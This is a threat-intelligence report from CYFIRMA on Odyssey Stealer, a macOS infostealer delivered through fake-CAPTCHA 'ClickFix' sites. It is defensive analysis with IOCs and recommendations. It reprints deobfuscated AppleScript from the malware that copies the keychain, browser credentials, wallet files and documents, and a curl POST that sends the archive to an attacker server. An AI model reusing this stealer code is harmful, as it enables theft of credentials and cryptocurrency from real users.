ODYSSEY STEALER : THE REBRAND OF POSEIDON STEALER - CYFIRMA

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EXECUTIVE SUMMARY

The CYFIRMA research team has uncovered multiple websites employing Clickfix tactics to deliver malicious AppleScripts (osascripts). These scripts contain commands designed to steal browser cookies, passwords, cryptocurrency wallet data, and browser plugins. We've identified a command-and-control panel linked to this activity, which is attributed to Odyssey Stealer. The malicious websites we've observed are primarily typosquatting finance domains, Apple App Store domains, or cryptocurrency news-related domains. This suggests that the malware operators are likely targeting individuals interested in finance and cryptocurrency.

INTRODUCTION

The Odyssey Stealer is distributed using the Clickfix technique. The Clickfix technique begins with the creation of a typosquatted or visually similar domain, designed to exploit user errors when typing. When a user inadvertently

visits this malicious domain, they are presented with a fake Cloudflare-style CAPTCHA prompt.

Below the prompt, instructions are displayed for macOS users to copy a command and paste it into the terminal. If accessed from a Windows device, the site provides Windows-specific instructions instead. However, during our analysis, clicking the “Copy” button did not copy any commands. Since the Odyssey Stealer currently targets macOS, it’s possible that future updates may expand its capabilities to target Windows systems.

In this instance, the attacker mimicked the macOS App Store domain. When users visit the site, they encounter a prompt asking them to confirm they are not a robot. The site then instructs macOS users to copy and paste a Base64-encoded command into their terminal.



When users click the “Copy” option, a Base64-encoded script is copied, designed to fetch and execute a command from the Odyssey [http[:]//odyssey1[.]to[:]3333/d?u=October or http[:]//45[.]135.232.33/d/roberto85866]. This command triggers a lengthy osascript, which is not obfuscated, making it relatively straightforward to analyse.

Upon execution, the malware displays a fake prompt designed to capture the user’s password. To validate the stolen credentials silently, it employs the macOS dscl command with the authonly parameter, ensuring the process remains hidden from the user.



The osascript can typically be found at either IP/d/<username> or IP:3333/d?u=<keyword>. In an older domain, we observed the use of u=october to host the AppleScript. However, in the new malicious domain, the script is not hosted on a different port but within another directory, suggesting it might belong to a different user of the Odyssey Stealer.

ASSESSMENT

The script uses alphanumeric obfuscation to hide function names. However, we successfully deobfuscated it to analyze the code.

Initially, the script uses the mkdir command to create a directory, specifically within the /tmp folder. By utilizing the mkdir -p option, it ensures the creation of nested directories without encountering errors, streamlining the process.

```
osascript -e 'on mkdir(someItem)
   try
      set filePosixPath to quoted form of (POSIX path of someItem)
      do shell script "mkdir -p " & filePosixPath
   end try
end mkdir
```

During further analysis, a temporary directory named /tmp/lovemrtrump was identified. This folder is created by the script to store collected data during its execution.

```
set writemind to "/tmp/lovemrtrump/"
try
   set result_userinfo to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
   writeText(result_userinfo, writemind & "hardware")
end try
```

/private/tmp/lovemrtrump/chromium/Chrome_Default/Cookies
/private/tmp/lovemrtrump/chromium/Chrome_Default/Login Data
/private/tmp/lovemrtrump/chromium/Chrome_Default/Web Data
/private/tmp/lovemrtrump/finder/Cookies.binarycookies
/private/tmp/lovemrtrump/finder/NoteStore.sqlite
/private/tmp/lovemrtrump/finder/NoteStore.sqlite-shm
/private/tmp/lovemrtrump/finder/NoteStore.sqlite-wal
/private/tmp/lovemrtrump/gecko/Firefox_cy5y3w9c.default-release/cookies.sqlite
/private/tmp/lovemrtrump/gecko/Firefox_cy5y3w9c.default-release/key4.db
/private/tmp/lovemrtrump/hardware
/private/tmp/lovemrtrump/kc
/private/tmp/lovemrtrump/pwd

The script copies macOS keychain files, which store credentials, to its temporary folder /tmp/lovemrtrump/kc. It pairs this with attempts to capture the user's password through a fake authentication prompt, enabling decryption of the Keychain. This ties into the broader script, which gathers browser data, saved passwords, and other sensitive files.

```
    try
      set keychainFolder to (path to library folder from user domain as text) & "Keychains:" & uuidString
      duplicate folder keychainFolder to destinationFolderPath with replacing
```

The script accesses data related to desktop wallets in the section that handles wallet directories and specific wallet-related files. It targets popular wallet applications like Electrum, Coinomi, Exodus, and more.

```
set walletMap to {{"Electrum", systemProfile & "/.electrum/wallets/"}, {"Coinomi", library & "Coinomi/wallets/"}, {"Exodus", library & "Exodus/"},
{"Atomic", library & "atomic/Local Storage/leveldb/"}, {"Wasabi", systemProfile & "/.walletwasabi/client/Wallets/"}, {"Ledger_Live", library &
"Ledger Live/"}, {"Monero", systemProfile & "/Monero/wallets/"}, {"Bitcoin_Core", library & "Bitcoin/wallets/"}, {"Litecoin_Core", library &
"Litecoin/wallets/"}, {"Dash_Core", library & "DashCore/wallets/"}, {"Electrum_LTC", systemProfile & "/.electrum-ltc/wallets/"}, {"Electron_Cash",
systemProfile & "/.electron-cash/wallets/"}, {"Guarda", library & "Guarda/"}, {"Dogecoin_Core", library & "Dogecoin/wallets/"}, {"Trezor_Suite",
library & "@trezor/suite-desktop/"}}
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(rawlib & "Keychains/login.keychain-db", writemind & "kc")
```

Odyssey Stealer targets Chrome/Chromium browsers (Brave, Edge, Opera), it harvests saved passwords from Login Data, payment info, browsing history, and active session cookies for account hijacking.

It specifically raids cryptocurrency extensions like MetaMask, stealing wallet files and private keys. Firefox variants suffer password theft via “logins.json” (with decryption keys from “key4.db”).

```
on parseFF(browsername, firefox, writemind)
  try
    set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
    set fileList to list folder firefox without invisibles
    repeat with currentItem in fileList
      set fpath to writemind & "gecko/" & browsername & "_" & currentItem
      firewallets(firefox & currentItem, fpath)
      set readpath to firefox & currentItem
      repeat with FFile in myFiles
        readwrite(readpath & FFile, fpath & FFile)
      end repeat
    end repeat
  end try
end parseFF
```

While Safari loses cookies, autofill data, and browsing history, the malware precisely targets each browser’s most valuable assets – credentials, financial data, and session tokens.

This malware targets browser extensions to steal cryptocurrency wallets (MetaMask, etc.), and authentication tokens. It steals from plugin storage locations.

```
on grabPlugins(paths, savePath, pluginList, index)
  try
    set fileList to list folder paths without invisibles
    repeat with PFile in fileList
      repeat with currentPlugin in pluginList
        if (PFile contains currentPlugin) then
          set newpath to paths & PFile
          set newsavepath to savePath & "/" & currentPlugin
          if index then
            set newsavepath to newsavepath & "/IndexedDB/"
          end if
          GrabFolder(newpath, newsavepath)
        end if
      end repeat
    end repeat
  end try
end grabPlugins
```

For Chromium-based browsers, it extracts:

- Private keys and seed phrases from wallet extensions
- Session tokens from authentication plugins
- Configuration files from password managers

The malware steals personal files from your Desktop and Documents files with extensions .txt, .pdf, .docx, .jpg, .png, .rtf, and .kdbx.

```
on filegrabber(writemind)
  try
    set destFolder to writemind & "finder/"
    set destinationFolderPath to POSIX file destFolder
    set notesMediaFolder to POSIX file (destFolder & "NotesMedia/")
    set extensionsList to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "jpeg", "png", "kdbx", "rtf", "jpg"}
    set bankSize to 0
    set notesBankSize to 0
    set uuidString to do shell script "system_profiler SPHardwareDataType | awk \"/UUID/ { print $3 }\""
    mkdir(destinationFolderPath)
    mkdir(notesMediaFolder)
    tell application "Finder"
      try
        set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
        duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
        set name of result to "saf1"
      end try
```

The malware organizes stolen data (browser histories, wallets, documents) compresses it as out.zip, and exfiltrates it via a curl POST request to the attacker's server. If the upload fails, it silently retries up to 10 times with 60-second delays between attempts, ensuring persistent delivery even if the connection is intermittent or blocked temporarily. Hardcoded headers (buildid, username) tag the stolen data for the attacker's tracking.

```
on send_data(attempt, outUsername, serverIP, isBot)
  try
    set result_send to (do shell script "curl -X POST -H \"buildid: e3f42d8ff4624873b46cae5d072678bb\" -H \"username: " & outUsername & "\" -H \"repeat: " & isBot & "\" -H \"cid: \"  --data-binary @/tmp/out.zip http://" &
    serverIP & "/log")
  on error
    if attempt < 10 then
      delay 60
      send_data(attempt + 1, outUsername, serverIP)
    end if
  end try
end send_data
```

The exfiltrated data is transmitted in the following snippet format, containing the username, password keychain, hardware details, and other browser-related information. This data is sent to a hosted IP for collection and further exploitation by the attackers.



ODYSSEY STEALER CONTROL PANEL FEATURES

The panel provides a structured interface for attackers to manage stolen data, configure malware behavior, and deploy attacks. Key sections include:

Dashboard

Shows infected devices, stolen data, and attack stats.

Builder

Creates custom malware versions for different targets.

Logs

Stores stolen passwords, cookies, and crypto wallets.

Bots

Lists hacked devices with details like IP address and their online status.

Guest Mode

Lets buyers test limited features before purchasing.

Google Cookies Restore

Hijacks browser sessions using stolen cookies.

Other Settings

Controls panel behaviour



We found multiple Odyssey Stealer Panels mostly hosted in Russia.

No	IP	Domain	Favicon/Title	ORG	Lastupdate time
1	45.146.130.129	-	-	LeaseWeb Netherlands B.V.	2025-06-21
2	45.135.232.33	-	-	Proton66 OOO	2025-06-18
3	83.222.190.214	-	-	Global Communication Net Plc	2025-06-18
4	5.199.166.102	-	hDAP@seiWUwdonOJC	UAB Cherry Servers	2025-06-10
5	194.26.29.217	-	-	Media Land LLC	2025-05-25
6	83.222.190.214	odyssey-st.com	-	Global Communication Net Plc	2025-05-15
7	185.147.124.212	-	-	Netex Limited	2025-05-15
8	88.214.50.3	-	-	SIA Singularity Telecom	2025-04-15

EXTERNAL THREAT LANDSCAPE MANAGEMENT

Odyssey Stealer represents the latest evolution in macOS-targeting malware, emerging as a rebranded version of Poseidon Stealer which itself originated as a fork of the AMOS Stealer. The stealer primarily targets users in

Western countries, such as the United States and European Union, while conspicuously avoiding victims in CIS nations – a characteristic pattern often associated with Russian-aligned cybercriminal groups. The original AMOS Stealer remains actively maintained by its creator “ping3r,” while Odyssey has inherited and enhanced many of its core capabilities including comprehensive browser credential theft, cryptocurrency wallet extraction, and macOS Keychain password harvesting.



The malware operators employ “ClickFix” distribution tactics, luring victims through fake macOS App Store websites. Current evidence indicates that while Odyssey/Poseidon and AMOS share common ancestry, they are being developed as competing products in the growing macOS malware-as-a-service ecosystem.

On a Russian forum, a user expressed interest in Odyssey Stealer. In response, “Rodrigo,” the main developer of Poseidon Stealer and the former author of AMOS Stealer, commented, “I am here.” This strongly indicates that Odyssey Stealer is currently maintained by Rodrigo.



CONCLUSION

Odyssey Stealer is a macOS-focused infostealer that uses fake software updates (ClickFix tactic) to infect victims. It steals cryptocurrency wallet data (including Tron, Electrum, Binance, and others), browser cookies/logins from Chrome, Firefox, and Safari, and targets over 100 browser extensions. The malware collects and compresses stolen data into ZIP files before sending it to attacker-controlled servers. This sophisticated operation shows clear targeting of Western users and demonstrates professional-level data theft capabilities.

MITRE TTPs

Tactics	Techniques
TA0002: Execution	T1059: Command and Scripting Interpreter T1059.002: AppleScript T1204.002: Malicious File
T1064: Scripting	T1059: Command and Scripting Interpreter
TA0005: Defense Evasion	T1562.001: Disable or Modify Tools T1140: Deobfuscate/Decode Files or Information T1564.001: Hidden Files and Directories T1070.004: File Deletion

TA0006: Credential Access	T1555.00: Keychain T1555.003: Credentials from Web Browsers
TA0007: Discovery	T1087: Account Discovery T1082: System Information Discovery
TA0009: Collection	T1560: Archive Collected Data
TA0010: Exfiltration	T1048: Exfiltration Over Alternative Protocol

Indicators of Compromise

Indicators	**Remarks**
appmacosx[.]com	Malicious domain
financementure[.]com	Malicious domain
appsmacosx[.]com	Malicious domain
macosxapp[.]com	Malicious domain
macosapp-apple[.]com	Malicious domain
macapps-apple[.]com	Malicious domain
macapp-apple[.]com	Malicious domain
republicasiamedia[.]com	Malicious domain
emailreddit[.]com	Malicious domain
appmacintosh[.]com	Malicious domain
cryptoinfo-news[.]com	Malicious domain
macosxappstore[.]com	Malicious domain
macosx-apps[.]com	Malicious domain
macxapp[.]org	Malicious domain
cryptonews-info[.]com	Malicious domain
cryptoinfnews[.]com	Malicious domain
188[.]92.28.186	Malicious domain
45[.]144.233.192	Malicious domain
83[.]222.190.250	Malicious domain

185[.]39.206.183	Malicious domain
odyssey1[.]to	Odyssey C2 Panel
45[.]135.232.33	Odyssey C2 Panel
45[.]146.130.129	Odyssey C2 Panel
83[.]222.190.214	Odyssey C2 Panel
5[.]199.166.102	Odyssey C2 Panel
odyssey-st[.]com	Odyssey C2 Panel
194[.]26.29.217	Odyssey C2 Panel
185[.]147.124.212	Odyssey C2 Panel
88[.]214.50.3	Odyssey C2 Panel
a0bdf6f602af5efea0fd96e659ac553e0e23362d2da6aecb13770256a254ef55	Apple Script

RECOMMENDATIONS

- Implement threat intelligence to proactively counter the threats associated with the Odyssey stealer.
- To protect the endpoints, use robust endpoint security solutions for real-time monitoring, and threat detection such as Antimalware security suit and host-based intrusion prevention system.
- Continuous monitoring of the network activity with NIDS/NIPS and using the web application firewall to filter/block suspicious activity provide comprehensive protection from compromise due to encrypted payloads.
- Configure firewalls to block outbound communication to known malicious IP addresses and domains associated with Odyssey stealer command and control servers.
- Implement behavior-based monitoring to detect unusual activity patterns, such as suspicious processes attempting to make unauthorized network connections.
- Employ application whitelisting to allow only approved applications to run on endpoints, preventing the execution of unauthorized or malicious executables.
- Only install apps from the official Mac App Store or verified developer sites.
- Block osascript execution unless explicitly required for business operations.
- The use of security benchmarks to create baseline security procedures and organizational security policies is also recommended.
- Develop a comprehensive incident response plan that outlines steps to take in case of a malware infection, including isolating affected systems and notifying relevant stakeholders.
- Security awareness and training programs help to protect from security incidents such as social engineering attacks. Organizations should remain vigilant and continuously adapt their defenses to mitigate the evolving threats posed by the Odyssey Stealer malware.

Source: https://www.cyfirma.com/research/odyssey-stealer-the-rebrand-of-poseidon-stealer/